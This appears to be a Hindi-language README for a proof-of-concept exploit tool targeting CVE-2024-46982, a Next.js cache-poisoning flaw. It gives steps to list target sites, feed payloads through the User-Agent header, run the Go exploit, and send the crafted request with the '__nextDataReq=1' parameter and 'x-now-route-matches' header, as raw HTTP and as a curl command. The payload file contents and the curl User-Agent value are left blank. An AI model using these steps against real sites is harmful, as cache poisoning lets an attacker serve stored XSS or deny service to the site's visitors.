
POC CVE-2024-46982
यह उपकरण CVE-2024-46982 का पता लगाने और शोषण करने को स्वचालित करता है, जो Next.js में एक कैश विषाक्तीकरण भेद्यता है, जहाँ सर्वर-साइड रेंडरिंग (SSR) प्रतिक्रियाओं को गलत तरीके से स्थैतिक साइट जनरेशन (SSG) के रूप में कैश किया जा सकता है। इस गलत कॉन्फ़िगरेशन से स्टोर्ड XSS, DoS, और डेटा लीकेज हो सकता है, जिससे हमलावर कैश की गई प्रतिक्रियाओं में दुर्भावनापूर्ण सामग्री इंजेक्ट कर सकते हैं।
एक फ़ाइल बनाएँ जिसका नाम targets.txt हो और जिसमें प्रति पंक्ति एक लक्ष्य URL हो:
https://vulnerable-site.com
https://another-target.com
एक फ़ाइल बनाएँ जिसका नाम payloads.txt हो और जिसमें पेलोड हों जो User-Agent हेडर के माध्यम से इंजेक्ट किए जाएँगे:
शोषण को संकलित और निष्पादित करें:
go run exploit.go -f targets.txt -p payloads.txt -d 5
GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1
curl का उपयोग करके एक दुर्भावनापूर्ण अनुरोध भेजें:
curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
-H "User-Agent: " \
-H "x-now-route-matches: 1"
ब्राउज़र में एंडपॉइंट पर जाएँ